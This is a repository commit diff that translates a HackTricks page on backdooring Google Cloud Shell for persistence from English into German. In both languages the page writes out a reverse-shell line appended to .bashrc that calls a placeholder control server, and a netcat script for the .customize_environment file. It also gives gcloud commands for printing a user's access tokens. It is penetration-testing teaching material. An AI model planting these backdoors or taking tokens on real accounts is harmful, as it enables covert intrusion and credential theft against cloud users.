mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-05 09:17:24 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,73 +1,63 @@
|
||||
# GCP - Cloud Shell Persistence
|
||||
# GCP - Cloud Shell Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
### Persistente Hintertür
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
Sie können auf Googles Cloud Shell über die **Web-Konsole** oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
Diese Konsole hat einige interessante Fähigkeiten für Angreifer:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **Jeder Google-Nutzer mit Zugriff auf Google Cloud** hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).
|
||||
2. Diese Instanz wird **ihr Home-Verzeichnis für mindestens 120 Tage beibehalten**, wenn keine Aktivität stattfindet.
|
||||
3. Es gibt **keine Möglichkeiten für eine Organisation, die Aktivität** dieser Instanz zu überwachen.
|
||||
|
||||
Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann, und solange der Benutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, indem er einfach:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
Es gibt eine weitere Datei im Home-Verzeichnis namens **`.customize_environment`**, die, falls sie existiert, **jedes Mal** ausgeführt wird, wenn der Benutzer auf die **cloud shell** zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine ähnliche wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die **cloud shell** "häufig" verwendet:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> Es ist wichtig zu beachten, dass beim **ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird**, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
Dies ist das Pop-up von der Ausführung von `gcloud projects list` aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, erscheint das Pop-up nicht und Sie können **Tokens des Benutzers mit**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### Wie die SSH-Verbindung hergestellt wird
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
Grundsätzlich werden diese 3 API-Aufrufe verwendet:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (wird Sie auffordern, Ihren lokal erstellten öffentlichen Schlüssel hinzuzufügen)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (wird Sie auffordern, die Instanz zu starten)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (wird Ihnen die IP des Google Cloud Shell mitteilen)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
Weitere Informationen finden Sie unter [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user